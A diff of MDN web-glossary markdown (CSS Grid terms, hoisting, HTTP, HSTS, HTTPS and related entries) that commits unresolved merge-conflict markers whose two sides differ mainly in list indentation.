 ---
 
@@ -5261,6 +8068,7 @@ When working with alignment in [CSS Grid Layout](/en-US/docs/Web/CSS/CSS_Grid_La
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("grid-template-columns"_)
 - _cssxref("grid-auto-columns"_)
 - _cssxref("grid"_)
@@ -5269,14 +8077,30 @@ When working with alignment in [CSS Grid Layout](/en-US/docs/Web/CSS/CSS_Grid_La
 ### Further reading
 
 - CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+=======
+-   _cssxref("grid-template-columns"_)
+-   _cssxref("grid-auto-columns"_)
+-   _cssxref("grid"_)
+-   _cssxref("grid-template"_)
+
+### Further reading
+
+-   CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+>>>>>>> master
 
 ---
 
 ## Term: Grid container
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - grid
+=======
+-   CSS
+-   Glossary
+-   grid
+>>>>>>> master
 
 ---
 
@@ -5288,6 +8112,7 @@ When an element becomes a grid container it establishes a **grid formatting cont
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("grid-template-columns"_)
 - _cssxref("grid-template-rows"_)
 - _cssxref("grid-auto-columns"_)
@@ -5298,12 +8123,28 @@ When an element becomes a grid container it establishes a **grid formatting cont
 ### Further reading
 
 - CSS Grid Layout guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+=======
+-   _cssxref("grid-template-columns"_)
+-   _cssxref("grid-template-rows"_)
+-   _cssxref("grid-auto-columns"_)
+-   _cssxref("grid-auto-rows"_)
+-   _cssxref("grid"_)
+-   _cssxref("grid-template"_)
+
+### Further reading
+
+-   CSS Grid Layout guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+>>>>>>> master
 
 ---
 
 ## Term: Grid Lines
 
+<<<<<<< HEAD
 - CSS Grids
+=======
+-   CSS Grids
+>>>>>>> master
 
 ---
 
@@ -5464,6 +8305,7 @@ The lines created in the _explicit grid_ can be named, by adding the name in squ
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("grid-template-columns"_)
 - _cssxref("grid-template-rows"_)
 - _cssxref("grid-column-start"_)
@@ -5480,12 +8322,34 @@ The lines created in the _explicit grid_ can be named, by adding the name in squ
 - CSS Grid Layout Guide: _[Layout using named grid lines](/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines)_
 - CSS Grid Layout Guide: _[CSS Grids, Logical Values and Writing Modes](/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes)_
 - [Definition of Grid Lines in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#grid-line-concept)
+=======
+-   _cssxref("grid-template-columns"_)
+-   _cssxref("grid-template-rows"_)
+-   _cssxref("grid-column-start"_)
+-   _cssxref("grid-column-end"_)
+-   _cssxref("grid-column"_)
+-   _cssxref("grid-row-start"_)
+-   _cssxref("grid-row-end"_)
+-   _cssxref("grid-row"_)
+
+### Further reading
+
+-   CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+-   CSS Grid Layout Guide: _[Line-based placement with CSS Grid](/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid)_
+-   CSS Grid Layout Guide: _[Layout using named grid lines](/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines)_
+-   CSS Grid Layout Guide: _[CSS Grids, Logical Values and Writing Modes](/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes)_
+-   [Definition of Grid Lines in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#grid-line-concept)
+>>>>>>> master
 
 ---
 
 ## Term: Grid Row
 
+<<<<<<< HEAD
 - CSS Grids
+=======
+-   CSS Grids
+>>>>>>> master
 
 ---
 
@@ -5499,6 +8363,7 @@ When working with alignment in [CSS Grid Layout](/en-US/docs/Web/CSS/CSS_Grid_La
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("grid-template-rows"_)
 - _cssxref("grid-auto-rows"_)
 - _cssxref("grid"_)
@@ -5507,12 +8372,26 @@ When working with alignment in [CSS Grid Layout](/en-US/docs/Web/CSS/CSS_Grid_La
 ### Further reading
 
 - CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+=======
+-   _cssxref("grid-template-rows"_)
+-   _cssxref("grid-auto-rows"_)
+-   _cssxref("grid"_)
+-   _cssxref("grid-template"_)
+
+### Further reading
+
+-   CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+>>>>>>> master
 
 ---
 
 ## Term: Grid Tracks
 
+<<<<<<< HEAD
 - CSS Grids
+=======
+-   CSS Grids
+>>>>>>> master
 
 ---
 
@@ -5575,6 +8454,7 @@ Tracks created in the implicit grid are auto-sized by default, however you can d
 
 #### See also
 
+<<<<<<< HEAD
 - [Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)
 - [Definition of Grid Tracks in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#grid-track-concept)
 - Property reference
@@ -5583,14 +8463,30 @@ Tracks created in the implicit grid are auto-sized by default, however you can d
     - _cssxref("grid-template-rows"_)
     - _cssxref("grid"_)
     - _cssxref("grid-template"_)
+=======
+-   [Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)
+-   [Definition of Grid Tracks in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#grid-track-concept)
+-   Property reference
+
+    -   _cssxref("grid-template-columns"_)
+    -   _cssxref("grid-template-rows"_)
+    -   _cssxref("grid"_)
+    -   _cssxref("grid-template"_)
+>>>>>>> master
 
 ---
 
 ## Term: Grid
 
+<<<<<<< HEAD
 - CSS
 - CSS Grid
 - Glossary
+=======
+-   CSS
+-   CSS Grid
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -5649,6 +8545,7 @@ In the example below I have created an _explicit grid_ of three columns and two
 
 #### See also
 
+<<<<<<< HEAD
 - [Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)
 - Property reference:
 
@@ -5656,15 +8553,31 @@ In the example below I have created an _explicit grid_ of three columns and two
     - _cssxref("grid-template-rows"_)
     - _cssxref("grid"_)
     - _cssxref("grid-template"_)
+=======
+-   [Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)
+-   Property reference:
+
+    -   _cssxref("grid-template-columns"_)
+    -   _cssxref("grid-template-rows"_)
+    -   _cssxref("grid"_)
+    -   _cssxref("grid-template"_)
+>>>>>>> master
 
 ---
 
 ## Term: Guard
 
+<<<<<<< HEAD
 - API
 - CodingScripting
 - Glossary
 - guard
+=======
+-   API
+-   CodingScripting
+-   Glossary
+-   guard
+>>>>>>> master
 
 ---
 
@@ -5674,7 +8587,11 @@ In the example below I have created an _explicit grid_ of three columns and two
 
 ## Term: Gutters
 
+<<<<<<< HEAD
 - CSS Grids
+=======
+-   CSS Grids
+>>>>>>> master
 
 ---
 
@@ -5734,6 +8651,7 @@ The grid-gap properties are not the only thing that can cause tracks to space ou
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("column-gap"_)
 - _cssxref("row-gap"_)
 - _cssxref("gap"_)
@@ -5742,14 +8660,30 @@ The grid-gap properties are not the only thing that can cause tracks to space ou
 
 - CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
 - [Definition of gutters in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#gutters)
+=======
+-   _cssxref("column-gap"_)
+-   _cssxref("row-gap"_)
+-   _cssxref("gap"_)
+
+### Further reading
+
+-   CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+-   [Definition of gutters in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#gutters)
+>>>>>>> master
 
 ---
 
 ## Term: gzip compression
 
+<<<<<<< HEAD
 - Glossary
 - compression
 - gzip
+=======
+-   Glossary
+-   compression
+-   gzip
+>>>>>>> master
 
 ---
 
@@ -5757,17 +8691,29 @@ The grid-gap properties are not the only thing that can cause tracks to space ou
 
 #### See also
 
+<<<<<<< HEAD
 - [The gzip home page](http://www.gzip.org/)
 - [gzip on Wikipedia](https://en.wikipedia.org/wiki/Gzip)
+=======
+-   [The gzip home page](http://www.gzip.org/)
+-   [gzip on Wikipedia](https://en.wikipedia.org/wiki/Gzip)
+>>>>>>> master
 
 ---
 
 ## Term: Hash
 
+<<<<<<< HEAD
 - CodingScripting
 - Cryptography
 - Glossary
 - Hash
+=======
+-   CodingScripting
+-   Cryptography
+-   Glossary
+-   Hash
+>>>>>>> master
 
 ---
 
@@ -5775,17 +8721,29 @@ The grid-gap properties are not the only thing that can cause tracks to space ou
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Hash function"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Hash function"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Head
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
 - head
 - metadata
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+-   head
+-   metadata
+>>>>>>> master
 
 ---
 
@@ -5793,15 +8751,25 @@ The grid-gap properties are not the only thing that can cause tracks to space ou
 
 #### See also
 
+<<<<<<< HEAD
 - _htmlelement("head"_) element reference on MDN
 - [The HTML \<head>](/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) on the MDN Learning Area
+=======
+-   _htmlelement("head"_) element reference on MDN
+-   [The HTML \<head>](/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML) on the MDN Learning Area
+>>>>>>> master
 
 ---
 
 ## Term: High-level programming language
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -5813,10 +8781,17 @@ The idea of a language automatically translatable into machine code, but nearer
 
 ## Term: HMAC
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Hash
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Hash
+-   Security
+>>>>>>> master
 
 ---
 
@@ -5828,16 +8803,27 @@ HMAC is used to ensure both integrity and authentication.
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Hash-based message authentication code", "HMAC"_) on Wikipedia
 - [RFC 2104](https://www.ietf.org/rfc/rfc2104.txt) on IETF
+=======
+-   _Interwiki("wikipedia", "Hash-based message authentication code", "HMAC"_) on Wikipedia
+-   [RFC 2104](https://www.ietf.org/rfc/rfc2104.txt) on IETF
+>>>>>>> master
 
 ---
 
 ## Term: Hoisting
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -5856,6 +8842,10 @@ Note that doing so can lead to unexpected errors, and is not generally recommend
 One of the advantages of hoisting is that it lets you use a function before you declare it in your code.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 catName('Tiger');
 
 function catName(name) {
@@ -5870,9 +8860,14 @@ Without hoisting you would _have_ to write the same code like this:
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function catName(name) {
     console.log("My cat's name is " + name);
@@ -5903,6 +8898,10 @@ Here we declare then initialize the value of a `var` after using it.
 The default initialization of the `var` is `undefined`.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(num); // Returns 'undefined' from hoisted var declaration (not 6)
 var num; // Declaration
 num = 6; // Initialization
@@ -5912,6 +8911,10 @@ console.log(num); // Returns 6 after the line with initialization is executed.
 The same thing happens if we declare and initialize the variable in the same line.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(num); // Returns 'undefined' from hoisted var declaration (not 6)
 var num = 6; // Initialization and declaration.
 console.log(num); // Returns 6 after the line with initialization is executed.
@@ -5921,6 +8924,10 @@ If we forget the declaration altogether (and only initialize the value) the vari
 Trying to read the variable before it is initialized results in `ReferenceError` exception.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(num); // Throws ReferenceError exception - the interpreter doesn't know about `num`.
 num = 6; // Initialization
 ```
@@ -5929,6 +8936,10 @@ Note however that initialization also causes declaration (if not already declare
 The code snippet below will work, because even though it isn't hoisted, the variable is initialized and effectively declared before it is used.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 a = 'Cran'; // Initialize a
 b = 'berry'; // Initialize b
 
@@ -5941,6 +8952,10 @@ Variables declared with `let` and `const` are also hoisted but, unlike `var`, ar
 An exception will be thrown if a variable declared with `let` or `const` is read before it is initialized.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 console.log(num); // Throws ReferenceError exception as the variable value is uninitialized
 let num = 6; // Initialization
 ```
@@ -5965,19 +8980,33 @@ Therefore the expressions are not evaluated until the relevant line is executed.
 
 #### See also
 
+<<<<<<< HEAD
 - [`var` statement](/en-US/docs/Web/JavaScript/Reference/Statements/var) — MDN
 - [`let` statement](/en-US/docs/Web/JavaScript/Reference/Statements/let) — MDN
 - [`const` statement](/en-US/docs/Web/JavaScript/Reference/Statements/const) — MDN
 - [`function` statement](/en-US/docs/Web/JavaScript/Reference/Statements/function) — MDN
+=======
+-   [`var` statement](/en-US/docs/Web/JavaScript/Reference/Statements/var) — MDN
+-   [`let` statement](/en-US/docs/Web/JavaScript/Reference/Statements/let) — MDN
+-   [`const` statement](/en-US/docs/Web/JavaScript/Reference/Statements/const) — MDN
+-   [`function` statement](/en-US/docs/Web/JavaScript/Reference/Statements/function) — MDN
+>>>>>>> master
 
 ---
 
 ## Term: Host
 
+<<<<<<< HEAD
 - Glossary
 - Intermediate
 - Web
 - WebMechanics
+=======
+-   Glossary
+-   Intermediate
+-   Web
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -5987,14 +9016,23 @@ The host doesn't need to be a hardware instance. It can be generated by virtual
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Host (network)", "Host"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Host (network)", "Host"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Hotlink
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -6004,18 +9042,31 @@ The practice is often frowned upon as it can cause unwanted bandwidth usage on t
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Inline linking", "Hotlink"_) on Wikipedia
 - _glossary("Hyperlink"_) (Glossary)
+=======
+-   _Interwiki("wikipedia", "Inline linking", "Hotlink"_) on Wikipedia
+-   _glossary("Hyperlink"_) (Glossary)
+>>>>>>> master
 
 ---
 
 ## Term: Houdini
 
+<<<<<<< HEAD
 - CSS
 - CSS API
 - Glossary
 - Houdini
 - Reference
+=======
+-   CSS
+-   CSS API
+-   Glossary
+-   Houdini
+-   Reference
+>>>>>>> master
 
 ---
 
@@ -6027,17 +9078,29 @@ While many of the features Houdini enables can be created with JavaScript, inter
 
 #### See also
 
+<<<<<<< HEAD
 - [Houdini](/en-US/docs/Web/Houdini)
 - [CSSOM](/en-US/docs/Web/API/CSS_Object_Model)
 - [CSS Paint API](/en-US/docs/Web/API/CSS_Painting_API)
 - [CSS Typed OM](/en-US/docs/Web/API/CSS_Typed_OM_API)
+=======
+-   [Houdini](/en-US/docs/Web/Houdini)
+-   [CSSOM](/en-US/docs/Web/API/CSS_Object_Model)
+-   [CSS Paint API](/en-US/docs/Web/API/CSS_Painting_API)
+-   [CSS Typed OM](/en-US/docs/Web/API/CSS_Typed_OM_API)
+>>>>>>> master
 
 ---
 
 ## Term: HPKP
 
+<<<<<<< HEAD
 - Glossary
 - Security
+=======
+-   Glossary
+-   Security
+>>>>>>> master
 
 ---
 
@@ -6045,17 +9108,29 @@ While many of the features Houdini enables can be created with JavaScript, inter
 
 #### See also
 
+<<<<<<< HEAD
 - _HTTPHeader("Public-Key-Pins"_)
 - _HTTPHeader("Public-Key-Pins-Report-Only"_)
 - [RFC 7469](https://datatracker.ietf.org/doc/html/rfc7469)
 - Wikipedia: [HTTP Public Key Pinning](https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning)
+=======
+-   _HTTPHeader("Public-Key-Pins"_)
+-   _HTTPHeader("Public-Key-Pins-Report-Only"_)
+-   [RFC 7469](https://datatracker.ietf.org/doc/html/rfc7469)
+-   Wikipedia: [HTTP Public Key Pinning](https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning)
+>>>>>>> master
 
 ---
 
 ## Term: HSTS
 
+<<<<<<< HEAD
 - HTTP
 - Security
+=======
+-   HTTP
+-   Security
+>>>>>>> master
 
 ---
 
@@ -6065,19 +9140,33 @@ In other words, it tells the browser that changing the protocol from HTTP to HTT
 
 #### See also
 
+<<<<<<< HEAD
 - _HTTPHeader("Strict-Transport-Security"_)
 - OWASP Article: [HTTP Strict Transport Security](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security)
 - Wikipedia: _interwiki("wikipedia", "HTTP Strict Transport Security"_)
+=======
+-   _HTTPHeader("Strict-Transport-Security"_)
+-   OWASP Article: [HTTP Strict Transport Security](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security)
+-   Wikipedia: _interwiki("wikipedia", "HTTP Strict Transport Security"_)
+>>>>>>> master
 
 ---
 
 ## Term: HTML5
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
 - HTML5
 - Markup
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+-   HTML5
+-   Markup
+>>>>>>> master
 
 ---
 
@@ -6091,18 +9180,31 @@ Any modern site should use the [HTML doctype](/en-US/docs/MDN/Guidelines/Code_gu
 
 #### See also
 
+<<<<<<< HEAD
 - [our HTML documentation](/en-US/docs/Web/HTML)
 - [HTML beginner's learning guides](/en-US/docs/Learn/HTML)
 - [Web APIs](/en-US/docs/Web/API)
+=======
+-   [our HTML documentation](/en-US/docs/Web/HTML)
+-   [HTML beginner's learning guides](/en-US/docs/Learn/HTML)
+-   [Web APIs](/en-US/docs/Web/API)
+>>>>>>> master
 
 ---
 
 ## Term: HTML
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
 - l10n:priority
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+-   l10n:priority
+>>>>>>> master
 
 ---
 
@@ -6122,22 +9224,39 @@ An HTML file is normally saved with an `.htm` or `.html` extension, served by a
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "HTML", "HTML"_) on Wikipedia
 - [Our HTML tutorial](/en-US/docs/Learn/HTML)
 - [The web course on codecademy.com](https://www.codecademy.com/learn/learn-html)
 - [The HTML documentation on MDN](/en-US/docs/Web/HTML)
 - [The HTML specification](https://www.w3.org/TR/html5/)
+=======
+-   _interwiki("wikipedia", "HTML", "HTML"_) on Wikipedia
+-   [Our HTML tutorial](/en-US/docs/Learn/HTML)
+-   [The web course on codecademy.com](https://www.codecademy.com/learn/learn-html)
+-   [The HTML documentation on MDN](/en-US/docs/Web/HTML)
+-   [The HTML specification](https://www.w3.org/TR/html5/)
+>>>>>>> master
 
 ---
 
 ## Term: HTTP/2
 
+<<<<<<< HEAD
 - Glossary
 - HTTP
 - Infrastructure
 - Reference
 - Web Performance
 - l10n:priority
+=======
+-   Glossary
+-   HTTP
+-   Infrastructure
+-   Reference
+-   Web Performance
+-   l10n:priority
+>>>>>>> master
 
 ---
 
@@ -6149,20 +9268,35 @@ HTTP/2 does not modify the application semantics of HTTP in any way. All the cor
 
 #### See also
 
+<<<<<<< HEAD
 - [HTTP on MDN](/en-US/docs/Web/HTTP)
 - _interwiki("wikipedia", "HTTP/2", "HTTP/2"_) on Wikipedia
 - [Glossary](/en-US/docs/Glossary)
 
     - _glossary("HTTP"_)
     - _glossary("Latency"_)
+=======
+-   [HTTP on MDN](/en-US/docs/Web/HTTP)
+-   _interwiki("wikipedia", "HTTP/2", "HTTP/2"_) on Wikipedia
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("HTTP"_)
+    -   _glossary("Latency"_)
+>>>>>>> master
 
 ---
 
 ## Term: HTTP/3
 
+<<<<<<< HEAD
 - HTTP
 - Intro
 - NeedsContent
+=======
+-   HTTP
+-   Intro
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -6172,6 +9306,7 @@ The major point of HTTP/3 is that it uses a new _glossary("UDP"_) protocol named
 
 #### See also
 
+<<<<<<< HEAD
 - [HTTP on MDN](/en-US/docs/Web/HTTP)
 - _interwiki("wikipedia", "HTTP/3", "HTTP/3"_) on Wikipedia
 - [Glossary](/en-US/docs/Glossary)
@@ -6179,14 +9314,29 @@ The major point of HTTP/3 is that it uses a new _glossary("UDP"_) protocol named
     - _glossary("HTTP"_)
     - _glossary("HTTP 2"_)
     - _glossary("Latency"_)
+=======
+-   [HTTP on MDN](/en-US/docs/Web/HTTP)
+-   _interwiki("wikipedia", "HTTP/3", "HTTP/3"_) on Wikipedia
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("HTTP"_)
+    -   _glossary("HTTP 2"_)
+    -   _glossary("Latency"_)
+>>>>>>> master
 
 ---
 
 ## Term: HTTP header
 
+<<<<<<< HEAD
 - Glossary
 - HTTP Header
 - WebMechanics
+=======
+-   Glossary
+-   HTTP Header
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -6194,10 +9344,17 @@ The major point of HTTP/3 is that it uses a new _glossary("UDP"_) protocol named
 
 The HTTP and Fetch specifications refer to a number of header categories, including:
 
+<<<<<<< HEAD
 - _Glossary("Request header"_): Headers containing more information about the resource to be fetched or about the client itself.
 - _Glossary("Response header"_): Headers with additional information about the response, like its location or about the server itself (name, version, …).
 - _Glossary("Representation header"_): metadata about the resource in the message body (e.g. encoding, media type, etc.).
 - _Glossary("Fetch metadata request header"_): Headers with metadata about the resource in the message body (e.g. encoding, media type, etc.).
+=======
+-   _Glossary("Request header"_): Headers containing more information about the resource to be fetched or about the client itself.
+-   _Glossary("Response header"_): Headers with additional information about the response, like its location or about the server itself (name, version, …).
+-   _Glossary("Representation header"_): metadata about the resource in the message body (e.g. encoding, media type, etc.).
+-   _Glossary("Fetch metadata request header"_): Headers with metadata about the resource in the message body (e.g. encoding, media type, etc.).
+>>>>>>> master
 
 A basic request with one header:
 
@@ -6233,6 +9390,7 @@ X-Cache-Info: cached
 
 > **Note:** Older versions of the specification referred to:
 >
+<<<<<<< HEAD
 > - _Glossary("General header"_): Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.
 > - _Glossary("Entity header"_): Headers containing more information about the body of the entity, like its content length or its MIME-type (this is a superset of what are now referred to as the Representation metadata headers)
 
@@ -6251,13 +9409,38 @@ X-Cache-Info: cached
     - _Glossary("Forbidden response header name"_)
     - _Glossary("CORS-safelisted request header"_)
     - _Glossary("CORS-safelisted response header"_)
+=======
+> -   _Glossary("General header"_): Headers applying to both requests and responses but with no relation to the data eventually transmitted in the body.
+> -   _Glossary("Entity header"_): Headers containing more information about the body of the entity, like its content length or its MIME-type (this is a superset of what are now referred to as the Representation metadata headers)
+
+#### See also
+
+-   [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
+-   Syntax of [headers](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2) in the HTTP specification
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("HTTP header"_)
+    -   _Glossary("Request header"_)
+    -   _Glossary("Response header"_)
+    -   _Glossary("Representation header"_)
+    -   _Glossary("Fetch metadata request header"_)
+    -   _Glossary("Forbidden header name"_)
+    -   _Glossary("Forbidden response header name"_)
+    -   _Glossary("CORS-safelisted request header"_)
+    -   _Glossary("CORS-safelisted response header"_)
+>>>>>>> master
 
 ---
 
 ## Term: Safe (HTTP Methods)
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -6283,19 +9466,33 @@ A call to an idempotent but non-safe method:
 
 #### See also
 
+<<<<<<< HEAD
 - Definition of [safe](https://datatracker.ietf.org/doc/html/rfc7231#section-4.2.1) in the HTTP specification.
 - Description of common safe methods: _HTTPMethod("GET"_), _HTTPMethod("HEAD"_), _HTTPMethod("OPTIONS"_)
 - Description of common unsafe methods: _HTTPMethod("PUT"_), _HTTPMethod("DELETE"_), _HTTPMethod("POST"_)
+=======
+-   Definition of [safe](https://datatracker.ietf.org/doc/html/rfc7231#section-4.2.1) in the HTTP specification.
+-   Description of common safe methods: _HTTPMethod("GET"_), _HTTPMethod("HEAD"_), _HTTPMethod("OPTIONS"_)
+-   Description of common unsafe methods: _HTTPMethod("PUT"_), _HTTPMethod("DELETE"_), _HTTPMethod("POST"_)
+>>>>>>> master
 
 ---
 
 ## Term: HTTPS RR
 
+<<<<<<< HEAD
 - Glossary
 - HTTPS
 - HTTPS RR
 - Infrastructure
 - Security
+=======
+-   Glossary
+-   HTTPS
+-   HTTPS RR
+-   Infrastructure
+-   Security
+>>>>>>> master
 
 ---
 
@@ -6306,19 +9503,33 @@ Further, the presence of an _HTTPS RR_ signals that all useful _Glossary("HTTP"_
 
 ##### See also
 
+<<<<<<< HEAD
 - [Service binding and parameter specification via the DNS (DNS SVCB and HTTPS RRs)](https://datatracker.ietf.org/doc/draft-ietf-dnsop-svcb-https/00/) (Draft IETF specification: draft-ietf-dnsop-svcb-https-00)
 - [Strict Transport Security vs. HTTPS Resource Records: the showdown](https://emilymstark.com/2020/10/24/strict-transport-security-vs-https-resource-records-the-showdown.html) (Emily M. Stark blog)
 - _glossary("SSL"_)
 - _glossary("TLS"_)
+=======
+-   [Service binding and parameter specification via the DNS (DNS SVCB and HTTPS RRs)](https://datatracker.ietf.org/doc/draft-ietf-dnsop-svcb-https/00/) (Draft IETF specification: draft-ietf-dnsop-svcb-https-00)
+-   [Strict Transport Security vs. HTTPS Resource Records: the showdown](https://emilymstark.com/2020/10/24/strict-transport-security-vs-https-resource-records-the-showdown.html) (Emily M. Stark blog)
+-   _glossary("SSL"_)
+-   _glossary("TLS"_)
+>>>>>>> master
 
 ---
 
 ## Term: HTTPS
 
+<<<<<<< HEAD
 - Glossary
 - HTTPS
 - Infrastructure
 - Security
+=======
+-   Glossary
+-   HTTPS
+-   Infrastructure
+-   Security
+>>>>>>> master
 
 ---
 
@@ -6326,6 +9537,7 @@ Further, the presence of an _HTTPS RR_ signals that all useful _Glossary("HTTP"_
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "HTTPS"_) on Wikipedia
 - [Moving to HTTPS community guide](https://movingtohttps.com/)
 - [Secure Contexts](/en-US/docs/Web/Security/Secure_Contexts)
@@ -6334,15 +9546,32 @@ Further, the presence of an _HTTPS RR_ signals that all useful _Glossary("HTTP"_
     - _glossary("HTTP"_)
     - _glossary("SSL"_)
     - _glossary("TLS"_)
+=======
+-   _Interwiki("wikipedia", "HTTPS"_) on Wikipedia
+-   [Moving to HTTPS community guide](https://movingtohttps.com/)
+-   [Secure Contexts](/en-US/docs/Web/Security/Secure_Contexts)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("HTTP"_)
+    -   _glossary("SSL"_)
+    -   _glossary("TLS"_)
+>>>>>>> master
 
 ---
 
 ## Term: Hyperlink
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
 - Navigation
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+-   Navigation
+>>>>>>> master
 
 ---
 
@@ -6350,20 +9579,35 @@ Further, the presence of an _HTTPS RR_ signals that all useful _Glossary("HTTP"_
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Hyperlink", "Hyperlink"_) on Wikipedia
 - The [Hyperlink](/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) guide on MDN
 - [Links in HTML Documents - W3C](https://www.w3.org/TR/1999/REC-html401-19991224/struct/links.html)
 - [HTML5 a - hyperlink - W3C](https://w3c.github.io/html-reference/a.html)
 - [`<a>` on MDN](/en-US/docs/Web/HTML/Element/a)
 - [`<link>` on MDN](/en-US/docs/Web/HTML/Element/link)
+=======
+-   _interwiki("wikipedia", "Hyperlink", "Hyperlink"_) on Wikipedia
+-   The [Hyperlink](/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks) guide on MDN
+-   [Links in HTML Documents - W3C](https://www.w3.org/TR/1999/REC-html401-19991224/struct/links.html)
+-   [HTML5 a - hyperlink - W3C](https://w3c.github.io/html-reference/a.html)
+-   [`<a>` on MDN](/en-US/docs/Web/HTML/Element/a)
+-   [`<link>` on MDN](/en-US/docs/Web/HTML/Element/link)
+>>>>>>> master
 
